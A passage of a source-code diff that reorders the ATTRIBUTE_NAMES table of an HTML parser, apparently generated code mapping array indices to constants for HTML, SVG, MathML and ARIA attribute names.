- ATTRIBUTE_NAMES[434] = ATTR_MARGINHEIGHT;
- ATTRIBUTE_NAMES[435] = ATTR_MARKERHEIGHT;
- ATTRIBUTE_NAMES[436] = ATTR_MARKER_START;
- ATTRIBUTE_NAMES[437] = ATTR_MATHEMATICAL;
- ATTRIBUTE_NAMES[438] = ATTR_LENGTHADJUST;
- ATTRIBUTE_NAMES[439] = ATTR_UNSELECTABLE;
- ATTRIBUTE_NAMES[440] = ATTR_UNICODE_BIDI;
- ATTRIBUTE_NAMES[441] = ATTR_UNITS_PER_EM;
- ATTRIBUTE_NAMES[442] = ATTR_WORD_SPACING;
- ATTRIBUTE_NAMES[443] = ATTR_WRITING_MODE;
- ATTRIBUTE_NAMES[444] = ATTR_V_ALPHABETIC;
- ATTRIBUTE_NAMES[445] = ATTR_PATTERNUNITS;
- ATTRIBUTE_NAMES[446] = ATTR_SPREADMETHOD;
- ATTRIBUTE_NAMES[447] = ATTR_SURFACESCALE;
- ATTRIBUTE_NAMES[448] = ATTR_STROKE_WIDTH;
- ATTRIBUTE_NAMES[449] = ATTR_REPEAT_START;
- ATTRIBUTE_NAMES[450] = ATTR_STDDEVIATION;
- ATTRIBUTE_NAMES[451] = ATTR_STOP_OPACITY;
- ATTRIBUTE_NAMES[452] = ATTR_ARIA_CONTROLS;
- ATTRIBUTE_NAMES[453] = ATTR_ARIA_HASPOPUP;
- ATTRIBUTE_NAMES[454] = ATTR_ACCENT_HEIGHT;
- ATTRIBUTE_NAMES[455] = ATTR_ARIA_VALUENOW;
- ATTRIBUTE_NAMES[456] = ATTR_ARIA_RELEVANT;
- ATTRIBUTE_NAMES[457] = ATTR_ARIA_POSINSET;
- ATTRIBUTE_NAMES[458] = ATTR_ARIA_VALUEMAX;
- ATTRIBUTE_NAMES[459] = ATTR_ARIA_READONLY;
- ATTRIBUTE_NAMES[460] = ATTR_ARIA_SELECTED;
- ATTRIBUTE_NAMES[461] = ATTR_ARIA_REQUIRED;
- ATTRIBUTE_NAMES[462] = ATTR_ARIA_EXPANDED;
- ATTRIBUTE_NAMES[463] = ATTR_ARIA_DISABLED;
- ATTRIBUTE_NAMES[464] = ATTR_ATTRIBUTETYPE;
- ATTRIBUTE_NAMES[465] = ATTR_ATTRIBUTENAME;
- ATTRIBUTE_NAMES[466] = ATTR_ARIA_DATATYPE;
- ATTRIBUTE_NAMES[467] = ATTR_ARIA_VALUEMIN;
- ATTRIBUTE_NAMES[468] = ATTR_BASEFREQUENCY;
- ATTRIBUTE_NAMES[469] = ATTR_COLUMNSPACING;
- ATTRIBUTE_NAMES[470] = ATTR_COLOR_PROFILE;
- ATTRIBUTE_NAMES[471] = ATTR_CLIPPATHUNITS;
- ATTRIBUTE_NAMES[472] = ATTR_DEFINITIONURL;
- ATTRIBUTE_NAMES[473] = ATTR_GRADIENTUNITS;
- ATTRIBUTE_NAMES[474] = ATTR_FLOOD_OPACITY;
- ATTRIBUTE_NAMES[475] = ATTR_ONAFTERUPDATE;
- ATTRIBUTE_NAMES[476] = ATTR_ONERRORUPDATE;
- ATTRIBUTE_NAMES[477] = ATTR_ONBEFOREPASTE;
- ATTRIBUTE_NAMES[478] = ATTR_ONLOSECAPTURE;
- ATTRIBUTE_NAMES[479] = ATTR_ONCONTEXTMENU;
- ATTRIBUTE_NAMES[480] = ATTR_ONSELECTSTART;
- ATTRIBUTE_NAMES[481] = ATTR_ONBEFOREPRINT;
- ATTRIBUTE_NAMES[482] = ATTR_MOVABLELIMITS;
- ATTRIBUTE_NAMES[483] = ATTR_LINETHICKNESS;
- ATTRIBUTE_NAMES[484] = ATTR_UNICODE_RANGE;
- ATTRIBUTE_NAMES[485] = ATTR_THINMATHSPACE;
- ATTRIBUTE_NAMES[486] = ATTR_VERT_ORIGIN_X;
- ATTRIBUTE_NAMES[487] = ATTR_VERT_ORIGIN_Y;
- ATTRIBUTE_NAMES[488] = ATTR_V_IDEOGRAPHIC;
- ATTRIBUTE_NAMES[489] = ATTR_PRESERVEALPHA;
- ATTRIBUTE_NAMES[490] = ATTR_SCRIPTMINSIZE;
- ATTRIBUTE_NAMES[491] = ATTR_SPECIFICATION;
- ATTRIBUTE_NAMES[492] = ATTR_XLINK_ACTUATE;
- ATTRIBUTE_NAMES[493] = ATTR_XLINK_ARCROLE;
- ATTRIBUTE_NAMES[494] = ATTR_ACCEPT_CHARSET;
- ATTRIBUTE_NAMES[495] = ATTR_ALIGNMENTSCOPE;
- ATTRIBUTE_NAMES[496] = ATTR_ARIA_MULTILINE;
- ATTRIBUTE_NAMES[497] = ATTR_BASELINE_SHIFT;
- ATTRIBUTE_NAMES[498] = ATTR_HORIZ_ORIGIN_X;
- ATTRIBUTE_NAMES[499] = ATTR_HORIZ_ORIGIN_Y;
- ATTRIBUTE_NAMES[500] = ATTR_ONBEFOREUPDATE;
- ATTRIBUTE_NAMES[501] = ATTR_ONFILTERCHANGE;
- ATTRIBUTE_NAMES[502] = ATTR_ONROWSINSERTED;
- ATTRIBUTE_NAMES[503] = ATTR_ONBEFOREUNLOAD;
- ATTRIBUTE_NAMES[504] = ATTR_MATHBACKGROUND;
- ATTRIBUTE_NAMES[505] = ATTR_LETTER_SPACING;
- ATTRIBUTE_NAMES[506] = ATTR_LIGHTING_COLOR;
- ATTRIBUTE_NAMES[507] = ATTR_THICKMATHSPACE;
- ATTRIBUTE_NAMES[508] = ATTR_TEXT_RENDERING;
- ATTRIBUTE_NAMES[509] = ATTR_V_MATHEMATICAL;
- ATTRIBUTE_NAMES[510] = ATTR_POINTER_EVENTS;
- ATTRIBUTE_NAMES[511] = ATTR_PRIMITIVEUNITS;
- ATTRIBUTE_NAMES[512] = ATTR_SYSTEMLANGUAGE;
- ATTRIBUTE_NAMES[513] = ATTR_STROKE_LINECAP;
- ATTRIBUTE_NAMES[514] = ATTR_SUBSCRIPTSHIFT;
- ATTRIBUTE_NAMES[515] = ATTR_STROKE_OPACITY;
- ATTRIBUTE_NAMES[516] = ATTR_ARIA_DROPEFFECT;
- ATTRIBUTE_NAMES[517] = ATTR_ARIA_LABELLEDBY;
- ATTRIBUTE_NAMES[518] = ATTR_ARIA_TEMPLATEID;
- ATTRIBUTE_NAMES[519] = ATTR_COLOR_RENDERING;
- ATTRIBUTE_NAMES[520] = ATTR_CONTENTEDITABLE;
- ATTRIBUTE_NAMES[521] = ATTR_DIFFUSECONSTANT;
- ATTRIBUTE_NAMES[522] = ATTR_ONDATAAVAILABLE;
- ATTRIBUTE_NAMES[523] = ATTR_ONCONTROLSELECT;
- ATTRIBUTE_NAMES[524] = ATTR_IMAGE_RENDERING;
- ATTRIBUTE_NAMES[525] = ATTR_MEDIUMMATHSPACE;
- ATTRIBUTE_NAMES[526] = ATTR_TEXT_DECORATION;
- ATTRIBUTE_NAMES[527] = ATTR_SHAPE_RENDERING;
- ATTRIBUTE_NAMES[528] = ATTR_STROKE_LINEJOIN;
- ATTRIBUTE_NAMES[529] = ATTR_REPEAT_TEMPLATE;
- ATTRIBUTE_NAMES[530] = ATTR_ARIA_DESCRIBEDBY;
- ATTRIBUTE_NAMES[531] = ATTR_CONTENTSTYLETYPE;
- ATTRIBUTE_NAMES[532] = ATTR_FONT_SIZE_ADJUST;
- ATTRIBUTE_NAMES[533] = ATTR_KERNELUNITLENGTH;
- ATTRIBUTE_NAMES[534] = ATTR_ONBEFOREACTIVATE;
- ATTRIBUTE_NAMES[535] = ATTR_ONPROPERTYCHANGE;
- ATTRIBUTE_NAMES[536] = ATTR_ONDATASETCHANGED;
- ATTRIBUTE_NAMES[537] = ATTR_MASKCONTENTUNITS;
- ATTRIBUTE_NAMES[538] = ATTR_PATTERNTRANSFORM;
- ATTRIBUTE_NAMES[539] = ATTR_REQUIREDFEATURES;
- ATTRIBUTE_NAMES[540] = ATTR_RENDERING_INTENT;
- ATTRIBUTE_NAMES[541] = ATTR_SPECULAREXPONENT;
- ATTRIBUTE_NAMES[542] = ATTR_SPECULARCONSTANT;
- ATTRIBUTE_NAMES[543] = ATTR_SUPERSCRIPTSHIFT;
- ATTRIBUTE_NAMES[544] = ATTR_STROKE_DASHARRAY;
- ATTRIBUTE_NAMES[545] = ATTR_XCHANNELSELECTOR;
- ATTRIBUTE_NAMES[546] = ATTR_YCHANNELSELECTOR;
- ATTRIBUTE_NAMES[547] = ATTR_ARIA_AUTOCOMPLETE;
- ATTRIBUTE_NAMES[548] = ATTR_CONTENTSCRIPTTYPE;
- ATTRIBUTE_NAMES[549] = ATTR_ENABLE_BACKGROUND;
- ATTRIBUTE_NAMES[550] = ATTR_DOMINANT_BASELINE;
- ATTRIBUTE_NAMES[551] = ATTR_GRADIENTTRANSFORM;
- ATTRIBUTE_NAMES[552] = ATTR_ONBEFORDEACTIVATE;
- ATTRIBUTE_NAMES[553] = ATTR_ONDATASETCOMPLETE;
- ATTRIBUTE_NAMES[554] = ATTR_OVERLINE_POSITION;
- ATTRIBUTE_NAMES[555] = ATTR_ONBEFOREEDITFOCUS;
- ATTRIBUTE_NAMES[556] = ATTR_LIMITINGCONEANGLE;
- ATTRIBUTE_NAMES[557] = ATTR_VERYTHINMATHSPACE;
- ATTRIBUTE_NAMES[558] = ATTR_STROKE_DASHOFFSET;
- ATTRIBUTE_NAMES[559] = ATTR_STROKE_MITERLIMIT;
- ATTRIBUTE_NAMES[560] = ATTR_ALIGNMENT_BASELINE;
- ATTRIBUTE_NAMES[561] = ATTR_ONREADYSTATECHANGE;
- ATTRIBUTE_NAMES[562] = ATTR_OVERLINE_THICKNESS;
- ATTRIBUTE_NAMES[563] = ATTR_UNDERLINE_POSITION;
- ATTRIBUTE_NAMES[564] = ATTR_VERYTHICKMATHSPACE;
- ATTRIBUTE_NAMES[565] = ATTR_REQUIREDEXTENSIONS;
- ATTRIBUTE_NAMES[566] = ATTR_COLOR_INTERPOLATION;
- ATTRIBUTE_NAMES[567] = ATTR_UNDERLINE_THICKNESS;
- ATTRIBUTE_NAMES[568] = ATTR_PRESERVEASPECTRATIO;
- ATTRIBUTE_NAMES[569] = ATTR_PATTERNCONTENTUNITS;
- ATTRIBUTE_NAMES[570] = ATTR_ARIA_MULTISELECTABLE;
- ATTRIBUTE_NAMES[571] = ATTR_SCRIPTSIZEMULTIPLIER;
- ATTRIBUTE_NAMES[572] = ATTR_ARIA_ACTIVEDESCENDANT;
- ATTRIBUTE_NAMES[573] = ATTR_VERYVERYTHINMATHSPACE;
- ATTRIBUTE_NAMES[574] = ATTR_VERYVERYTHICKMATHSPACE;
- ATTRIBUTE_NAMES[575] = ATTR_STRIKETHROUGH_POSITION;
- ATTRIBUTE_NAMES[576] = ATTR_STRIKETHROUGH_THICKNESS;
- ATTRIBUTE_NAMES[577] = ATTR_EXTERNALRESOURCESREQUIRED;
+ ATTRIBUTE_NAMES[119] = ATTR_SIZES;
+ ATTRIBUTE_NAMES[120] = ATTR_STEMV;
+ ATTRIBUTE_NAMES[121] = ATTR_START;
+ ATTRIBUTE_NAMES[122] = ATTR_XMLNS;
+ ATTRIBUTE_NAMES[123] = ATTR_ACCEPT;
+ ATTRIBUTE_NAMES[124] = ATTR_ACCENT;
+ ATTRIBUTE_NAMES[125] = ATTR_ASCENT;
+ ATTRIBUTE_NAMES[126] = ATTR_ACTIVE;
+ ATTRIBUTE_NAMES[127] = ATTR_ALTIMG;
+ ATTRIBUTE_NAMES[128] = ATTR_ACTION;
+ ATTRIBUTE_NAMES[129] = ATTR_BORDER;
+ ATTRIBUTE_NAMES[130] = ATTR_CURSOR;
+ ATTRIBUTE_NAMES[131] = ATTR_COORDS;
+ ATTRIBUTE_NAMES[132] = ATTR_FILTER;
+ ATTRIBUTE_NAMES[133] = ATTR_FORMAT;
+ ATTRIBUTE_NAMES[134] = ATTR_HIDDEN;
+ ATTRIBUTE_NAMES[135] = ATTR_HSPACE;
+ ATTRIBUTE_NAMES[136] = ATTR_HEIGHT;
+ ATTRIBUTE_NAMES[137] = ATTR_ONMOVE;
+ ATTRIBUTE_NAMES[138] = ATTR_ONLOAD;
+ ATTRIBUTE_NAMES[139] = ATTR_ONDRAG;
+ ATTRIBUTE_NAMES[140] = ATTR_ORIGIN;
+ ATTRIBUTE_NAMES[141] = ATTR_ONZOOM;
+ ATTRIBUTE_NAMES[142] = ATTR_ONHELP;
+ ATTRIBUTE_NAMES[143] = ATTR_ONSTOP;
+ ATTRIBUTE_NAMES[144] = ATTR_ONDROP;
+ ATTRIBUTE_NAMES[145] = ATTR_ONBLUR;
+ ATTRIBUTE_NAMES[146] = ATTR_OBJECT;
+ ATTRIBUTE_NAMES[147] = ATTR_OFFSET;
+ ATTRIBUTE_NAMES[148] = ATTR_ORIENT;
+ ATTRIBUTE_NAMES[149] = ATTR_ONCOPY;
+ ATTRIBUTE_NAMES[150] = ATTR_NOWRAP;
+ ATTRIBUTE_NAMES[151] = ATTR_NOHREF;
+ ATTRIBUTE_NAMES[152] = ATTR_MACROS;
+ ATTRIBUTE_NAMES[153] = ATTR_METHOD;
+ ATTRIBUTE_NAMES[154] = ATTR_LOWSRC;
+ ATTRIBUTE_NAMES[155] = ATTR_LSPACE;
+ ATTRIBUTE_NAMES[156] = ATTR_LQUOTE;
+ ATTRIBUTE_NAMES[157] = ATTR_USEMAP;
+ ATTRIBUTE_NAMES[158] = ATTR_WIDTHS;
+ ATTRIBUTE_NAMES[159] = ATTR_TARGET;
+ ATTRIBUTE_NAMES[160] = ATTR_VALUES;
+ ATTRIBUTE_NAMES[161] = ATTR_VALIGN;
+ ATTRIBUTE_NAMES[162] = ATTR_VSPACE;
+ ATTRIBUTE_NAMES[163] = ATTR_POSTER;
+ ATTRIBUTE_NAMES[164] = ATTR_POINTS;
+ ATTRIBUTE_NAMES[165] = ATTR_PROMPT;
+ ATTRIBUTE_NAMES[166] = ATTR_SRCDOC;
+ ATTRIBUTE_NAMES[167] = ATTR_SCOPED;
+ ATTRIBUTE_NAMES[168] = ATTR_STRING;
+ ATTRIBUTE_NAMES[169] = ATTR_SCHEME;
+ ATTRIBUTE_NAMES[170] = ATTR_STROKE;
+ ATTRIBUTE_NAMES[171] = ATTR_RADIUS;
+ ATTRIBUTE_NAMES[172] = ATTR_RESULT;
+ ATTRIBUTE_NAMES[173] = ATTR_REPEAT;
+ ATTRIBUTE_NAMES[174] = ATTR_SRCSET;
+ ATTRIBUTE_NAMES[175] = ATTR_RSPACE;
+ ATTRIBUTE_NAMES[176] = ATTR_ROTATE;
+ ATTRIBUTE_NAMES[177] = ATTR_RQUOTE;
+ ATTRIBUTE_NAMES[178] = ATTR_ALTTEXT;
+ ATTRIBUTE_NAMES[179] = ATTR_ARCHIVE;
+ ATTRIBUTE_NAMES[180] = ATTR_AZIMUTH;
+ ATTRIBUTE_NAMES[181] = ATTR_CLOSURE;
+ ATTRIBUTE_NAMES[182] = ATTR_CHECKED;
+ ATTRIBUTE_NAMES[183] = ATTR_CLASSID;
+ ATTRIBUTE_NAMES[184] = ATTR_CHAROFF;
+ ATTRIBUTE_NAMES[185] = ATTR_BGCOLOR;
+ ATTRIBUTE_NAMES[186] = ATTR_COLSPAN;
+ ATTRIBUTE_NAMES[187] = ATTR_CHARSET;
+ ATTRIBUTE_NAMES[188] = ATTR_COMPACT;
+ ATTRIBUTE_NAMES[189] = ATTR_CONTENT;
+ ATTRIBUTE_NAMES[190] = ATTR_ENCTYPE;
+ ATTRIBUTE_NAMES[191] = ATTR_DATASRC;
+ ATTRIBUTE_NAMES[192] = ATTR_DATAFLD;
+ ATTRIBUTE_NAMES[193] = ATTR_DECLARE;
+ ATTRIBUTE_NAMES[194] = ATTR_DISPLAY;
+ ATTRIBUTE_NAMES[195] = ATTR_DIVISOR;
+ ATTRIBUTE_NAMES[196] = ATTR_DEFAULT;
+ ATTRIBUTE_NAMES[197] = ATTR_DESCENT;
+ ATTRIBUTE_NAMES[198] = ATTR_KERNING;
+ ATTRIBUTE_NAMES[199] = ATTR_HANGING;
+ ATTRIBUTE_NAMES[200] = ATTR_HEADERS;
+ ATTRIBUTE_NAMES[201] = ATTR_ONPASTE;
+ ATTRIBUTE_NAMES[202] = ATTR_ONCLICK;
+ ATTRIBUTE_NAMES[203] = ATTR_OPTIMUM;
+ ATTRIBUTE_NAMES[204] = ATTR_ONBEGIN;
+ ATTRIBUTE_NAMES[205] = ATTR_ONKEYUP;
+ ATTRIBUTE_NAMES[206] = ATTR_ONFOCUS;
+ ATTRIBUTE_NAMES[207] = ATTR_ONERROR;
+ ATTRIBUTE_NAMES[208] = ATTR_ONINPUT;
+ ATTRIBUTE_NAMES[209] = ATTR_ONABORT;
+ ATTRIBUTE_NAMES[210] = ATTR_ONSTART;
+ ATTRIBUTE_NAMES[211] = ATTR_ONRESET;
+ ATTRIBUTE_NAMES[212] = ATTR_OPACITY;
+ ATTRIBUTE_NAMES[213] = ATTR_NOSHADE;
+ ATTRIBUTE_NAMES[214] = ATTR_MINSIZE;
+ ATTRIBUTE_NAMES[215] = ATTR_MAXSIZE;
+ ATTRIBUTE_NAMES[216] = ATTR_LARGEOP;
+ ATTRIBUTE_NAMES[217] = ATTR_UNICODE;
+ ATTRIBUTE_NAMES[218] = ATTR_TARGETX;
+ ATTRIBUTE_NAMES[219] = ATTR_TARGETY;
+ ATTRIBUTE_NAMES[220] = ATTR_VIEWBOX;
+ ATTRIBUTE_NAMES[221] = ATTR_VERSION;
+ ATTRIBUTE_NAMES[222] = ATTR_PATTERN;
+ ATTRIBUTE_NAMES[223] = ATTR_PROFILE;
+ ATTRIBUTE_NAMES[224] = ATTR_SPACING;
+ ATTRIBUTE_NAMES[225] = ATTR_RESTART;
+ ATTRIBUTE_NAMES[226] = ATTR_ROWSPAN;
+ ATTRIBUTE_NAMES[227] = ATTR_SANDBOX;
+ ATTRIBUTE_NAMES[228] = ATTR_SUMMARY;
+ ATTRIBUTE_NAMES[229] = ATTR_STANDBY;
+ ATTRIBUTE_NAMES[230] = ATTR_REPLACE;
+ ATTRIBUTE_NAMES[231] = ATTR_AUTOPLAY;
+ ATTRIBUTE_NAMES[232] = ATTR_ADDITIVE;
+ ATTRIBUTE_NAMES[233] = ATTR_CALCMODE;
+ ATTRIBUTE_NAMES[234] = ATTR_CODETYPE;
+ ATTRIBUTE_NAMES[235] = ATTR_CODEBASE;
+ ATTRIBUTE_NAMES[236] = ATTR_CONTROLS;
+ ATTRIBUTE_NAMES[237] = ATTR_BEVELLED;
+ ATTRIBUTE_NAMES[238] = ATTR_BASELINE;
+ ATTRIBUTE_NAMES[239] = ATTR_EXPONENT;
+ ATTRIBUTE_NAMES[240] = ATTR_EDGEMODE;
+ ATTRIBUTE_NAMES[241] = ATTR_ENCODING;
+ ATTRIBUTE_NAMES[242] = ATTR_GLYPHREF;
+ ATTRIBUTE_NAMES[243] = ATTR_DATETIME;
+ ATTRIBUTE_NAMES[244] = ATTR_DISABLED;
+ ATTRIBUTE_NAMES[245] = ATTR_FONTSIZE;
+ ATTRIBUTE_NAMES[246] = ATTR_KEYTIMES;
+ ATTRIBUTE_NAMES[247] = ATTR_PANOSE_1;
+ ATTRIBUTE_NAMES[248] = ATTR_HREFLANG;
+ ATTRIBUTE_NAMES[249] = ATTR_ONRESIZE;
+ ATTRIBUTE_NAMES[250] = ATTR_ONCHANGE;
+ ATTRIBUTE_NAMES[251] = ATTR_ONBOUNCE;
+ ATTRIBUTE_NAMES[252] = ATTR_ONUNLOAD;
+ ATTRIBUTE_NAMES[253] = ATTR_ONFINISH;
+ ATTRIBUTE_NAMES[254] = ATTR_ONSCROLL;
+ ATTRIBUTE_NAMES[255] = ATTR_OPERATOR;
+ ATTRIBUTE_NAMES[256] = ATTR_OVERFLOW;
+ ATTRIBUTE_NAMES[257] = ATTR_ONSUBMIT;
+ ATTRIBUTE_NAMES[258] = ATTR_ONREPEAT;
+ ATTRIBUTE_NAMES[259] = ATTR_ONSELECT;
+ ATTRIBUTE_NAMES[260] = ATTR_NOTATION;
+ ATTRIBUTE_NAMES[261] = ATTR_NORESIZE;
+ ATTRIBUTE_NAMES[262] = ATTR_MANIFEST;
+ ATTRIBUTE_NAMES[263] = ATTR_MATHSIZE;
+ ATTRIBUTE_NAMES[264] = ATTR_MULTIPLE;
+ ATTRIBUTE_NAMES[265] = ATTR_LONGDESC;
+ ATTRIBUTE_NAMES[266] = ATTR_LANGUAGE;
+ ATTRIBUTE_NAMES[267] = ATTR_TEMPLATE;
+ ATTRIBUTE_NAMES[268] = ATTR_TABINDEX;
+ ATTRIBUTE_NAMES[269] = ATTR_READONLY;
+ ATTRIBUTE_NAMES[270] = ATTR_SELECTED;
+ ATTRIBUTE_NAMES[271] = ATTR_ROWLINES;
+ ATTRIBUTE_NAMES[272] = ATTR_SEAMLESS;
+ ATTRIBUTE_NAMES[273] = ATTR_ROWALIGN;
+ ATTRIBUTE_NAMES[274] = ATTR_STRETCHY;
+ ATTRIBUTE_NAMES[275] = ATTR_REQUIRED;
+ ATTRIBUTE_NAMES[276] = ATTR_XML_BASE;
+ ATTRIBUTE_NAMES[277] = ATTR_XML_LANG;
+ ATTRIBUTE_NAMES[278] = ATTR_X_HEIGHT;
+ ATTRIBUTE_NAMES[279] = ATTR_ARIA_OWNS;
+ ATTRIBUTE_NAMES[280] = ATTR_AUTOFOCUS;
+ ATTRIBUTE_NAMES[281] = ATTR_ARIA_SORT;
+ ATTRIBUTE_NAMES[282] = ATTR_ACCESSKEY;
+ ATTRIBUTE_NAMES[283] = ATTR_ARIA_BUSY;
+ ATTRIBUTE_NAMES[284] = ATTR_ARIA_GRAB;
+ ATTRIBUTE_NAMES[285] = ATTR_AMPLITUDE;
+ ATTRIBUTE_NAMES[286] = ATTR_ARIA_LIVE;
+ ATTRIBUTE_NAMES[287] = ATTR_CLIP_RULE;
+ ATTRIBUTE_NAMES[288] = ATTR_CLIP_PATH;
+ ATTRIBUTE_NAMES[289] = ATTR_EQUALROWS;
+ ATTRIBUTE_NAMES[290] = ATTR_ELEVATION;
+ ATTRIBUTE_NAMES[291] = ATTR_DIRECTION;
+ ATTRIBUTE_NAMES[292] = ATTR_DRAGGABLE;
+ ATTRIBUTE_NAMES[293] = ATTR_FILL_RULE;
+ ATTRIBUTE_NAMES[294] = ATTR_FONTSTYLE;
+ ATTRIBUTE_NAMES[295] = ATTR_FONT_SIZE;
+ ATTRIBUTE_NAMES[296] = ATTR_KEYSYSTEM;
+ ATTRIBUTE_NAMES[297] = ATTR_KEYPOINTS;
+ ATTRIBUTE_NAMES[298] = ATTR_HIDEFOCUS;
+ ATTRIBUTE_NAMES[299] = ATTR_ONMESSAGE;
+ ATTRIBUTE_NAMES[300] = ATTR_INTERCEPT;
+ ATTRIBUTE_NAMES[301] = ATTR_ONDRAGEND;
+ ATTRIBUTE_NAMES[302] = ATTR_ONMOVEEND;
+ ATTRIBUTE_NAMES[303] = ATTR_ONINVALID;
+ ATTRIBUTE_NAMES[304] = ATTR_INTEGRITY;
+ ATTRIBUTE_NAMES[305] = ATTR_ONKEYDOWN;
+ ATTRIBUTE_NAMES[306] = ATTR_ONFOCUSIN;
+ ATTRIBUTE_NAMES[307] = ATTR_ONMOUSEUP;
+ ATTRIBUTE_NAMES[308] = ATTR_INPUTMODE;
+ ATTRIBUTE_NAMES[309] = ATTR_ONROWEXIT;
+ ATTRIBUTE_NAMES[310] = ATTR_MATHCOLOR;
+ ATTRIBUTE_NAMES[311] = ATTR_MASKUNITS;
+ ATTRIBUTE_NAMES[312] = ATTR_MAXLENGTH;
+ ATTRIBUTE_NAMES[313] = ATTR_LINEBREAK;
+ ATTRIBUTE_NAMES[314] = ATTR_TRANSFORM;
+ ATTRIBUTE_NAMES[315] = ATTR_V_HANGING;
+ ATTRIBUTE_NAMES[316] = ATTR_VALUETYPE;
+ ATTRIBUTE_NAMES[317] = ATTR_POINTSATZ;
+ ATTRIBUTE_NAMES[318] = ATTR_POINTSATX;
+ ATTRIBUTE_NAMES[319] = ATTR_POINTSATY;
+ ATTRIBUTE_NAMES[320] = ATTR_SYMMETRIC;
+ ATTRIBUTE_NAMES[321] = ATTR_SCROLLING;
+ ATTRIBUTE_NAMES[322] = ATTR_REPEATDUR;
+ ATTRIBUTE_NAMES[323] = ATTR_SELECTION;
+ ATTRIBUTE_NAMES[324] = ATTR_SEPARATOR;
+ ATTRIBUTE_NAMES[325] = ATTR_XML_SPACE;
+ ATTRIBUTE_NAMES[326] = ATTR_AUTOSUBMIT;
+ ATTRIBUTE_NAMES[327] = ATTR_ALPHABETIC;
+ ATTRIBUTE_NAMES[328] = ATTR_ACTIONTYPE;
+ ATTRIBUTE_NAMES[329] = ATTR_ACCUMULATE;
+ ATTRIBUTE_NAMES[330] = ATTR_ARIA_LEVEL;
+ ATTRIBUTE_NAMES[331] = ATTR_COLUMNSPAN;
+ ATTRIBUTE_NAMES[332] = ATTR_CAP_HEIGHT;
+ ATTRIBUTE_NAMES[333] = ATTR_BACKGROUND;
+ ATTRIBUTE_NAMES[334] = ATTR_GLYPH_NAME;
+ ATTRIBUTE_NAMES[335] = ATTR_GROUPALIGN;
+ ATTRIBUTE_NAMES[336] = ATTR_FONTFAMILY;
+ ATTRIBUTE_NAMES[337] = ATTR_FONTWEIGHT;
+ ATTRIBUTE_NAMES[338] = ATTR_FONT_STYLE;
+ ATTRIBUTE_NAMES[339] = ATTR_KEYSPLINES;
+ ATTRIBUTE_NAMES[340] = ATTR_HTTP_EQUIV;
+ ATTRIBUTE_NAMES[341] = ATTR_ONACTIVATE;
+ ATTRIBUTE_NAMES[342] = ATTR_OCCURRENCE;
+ ATTRIBUTE_NAMES[343] = ATTR_IRRELEVANT;
+ ATTRIBUTE_NAMES[344] = ATTR_ONDBLCLICK;
+ ATTRIBUTE_NAMES[345] = ATTR_ONDRAGDROP;
+ ATTRIBUTE_NAMES[346] = ATTR_ONKEYPRESS;
+ ATTRIBUTE_NAMES[347] = ATTR_ONROWENTER;
+ ATTRIBUTE_NAMES[348] = ATTR_ONDRAGOVER;
+ ATTRIBUTE_NAMES[349] = ATTR_ONFOCUSOUT;
+ ATTRIBUTE_NAMES[350] = ATTR_ONMOUSEOUT;
+ ATTRIBUTE_NAMES[351] = ATTR_NUMOCTAVES;
+ ATTRIBUTE_NAMES[352] = ATTR_MARKER_MID;
+ ATTRIBUTE_NAMES[353] = ATTR_MARKER_END;
+ ATTRIBUTE_NAMES[354] = ATTR_TEXTLENGTH;
+ ATTRIBUTE_NAMES[355] = ATTR_VISIBILITY;
+ ATTRIBUTE_NAMES[356] = ATTR_VIEWTARGET;
+ ATTRIBUTE_NAMES[357] = ATTR_VERT_ADV_Y;
+ ATTRIBUTE_NAMES[358] = ATTR_PATHLENGTH;
+ ATTRIBUTE_NAMES[359] = ATTR_REPEAT_MAX;
+ ATTRIBUTE_NAMES[360] = ATTR_RADIOGROUP;
+ ATTRIBUTE_NAMES[361] = ATTR_STOP_COLOR;
+ ATTRIBUTE_NAMES[362] = ATTR_SEPARATORS;
+ ATTRIBUTE_NAMES[363] = ATTR_REPEAT_MIN;
+ ATTRIBUTE_NAMES[364] = ATTR_ROWSPACING;
+ ATTRIBUTE_NAMES[365] = ATTR_ZOOMANDPAN;
+ ATTRIBUTE_NAMES[366] = ATTR_XLINK_TYPE;
+ ATTRIBUTE_NAMES[367] = ATTR_XLINK_ROLE;
+ ATTRIBUTE_NAMES[368] = ATTR_XLINK_HREF;
+ ATTRIBUTE_NAMES[369] = ATTR_XLINK_SHOW;
+ ATTRIBUTE_NAMES[370] = ATTR_ACCENTUNDER;
+ ATTRIBUTE_NAMES[371] = ATTR_ARIA_SECRET;
+ ATTRIBUTE_NAMES[372] = ATTR_ARIA_ATOMIC;
+ ATTRIBUTE_NAMES[373] = ATTR_ARIA_HIDDEN;
+ ATTRIBUTE_NAMES[374] = ATTR_ARIA_FLOWTO;
+ ATTRIBUTE_NAMES[375] = ATTR_ARABIC_FORM;
+ ATTRIBUTE_NAMES[376] = ATTR_CELLPADDING;
+ ATTRIBUTE_NAMES[377] = ATTR_CELLSPACING;
+ ATTRIBUTE_NAMES[378] = ATTR_COLUMNWIDTH;
+ ATTRIBUTE_NAMES[379] = ATTR_CROSSORIGIN;
+ ATTRIBUTE_NAMES[380] = ATTR_COLUMNALIGN;
+ ATTRIBUTE_NAMES[381] = ATTR_COLUMNLINES;
+ ATTRIBUTE_NAMES[382] = ATTR_CONTEXTMENU;
+ ATTRIBUTE_NAMES[383] = ATTR_BASEPROFILE;
+ ATTRIBUTE_NAMES[384] = ATTR_FONT_FAMILY;
+ ATTRIBUTE_NAMES[385] = ATTR_FRAMEBORDER;
+ ATTRIBUTE_NAMES[386] = ATTR_FILTERUNITS;
+ ATTRIBUTE_NAMES[387] = ATTR_FLOOD_COLOR;
+ ATTRIBUTE_NAMES[388] = ATTR_FONT_WEIGHT;
+ ATTRIBUTE_NAMES[389] = ATTR_HORIZ_ADV_X;
+ ATTRIBUTE_NAMES[390] = ATTR_ONDRAGLEAVE;
+ ATTRIBUTE_NAMES[391] = ATTR_ONMOUSEMOVE;
+ ATTRIBUTE_NAMES[392] = ATTR_ORIENTATION;
+ ATTRIBUTE_NAMES[393] = ATTR_ONMOUSEDOWN;
+ ATTRIBUTE_NAMES[394] = ATTR_ONMOUSEOVER;
+ ATTRIBUTE_NAMES[395] = ATTR_ONDRAGENTER;
+ ATTRIBUTE_NAMES[396] = ATTR_IDEOGRAPHIC;
+ ATTRIBUTE_NAMES[397] = ATTR_ONBEFORECUT;
+ ATTRIBUTE_NAMES[398] = ATTR_ONFORMINPUT;
+ ATTRIBUTE_NAMES[399] = ATTR_ONDRAGSTART;
+ ATTRIBUTE_NAMES[400] = ATTR_ONMOVESTART;
+ ATTRIBUTE_NAMES[401] = ATTR_MARKERUNITS;
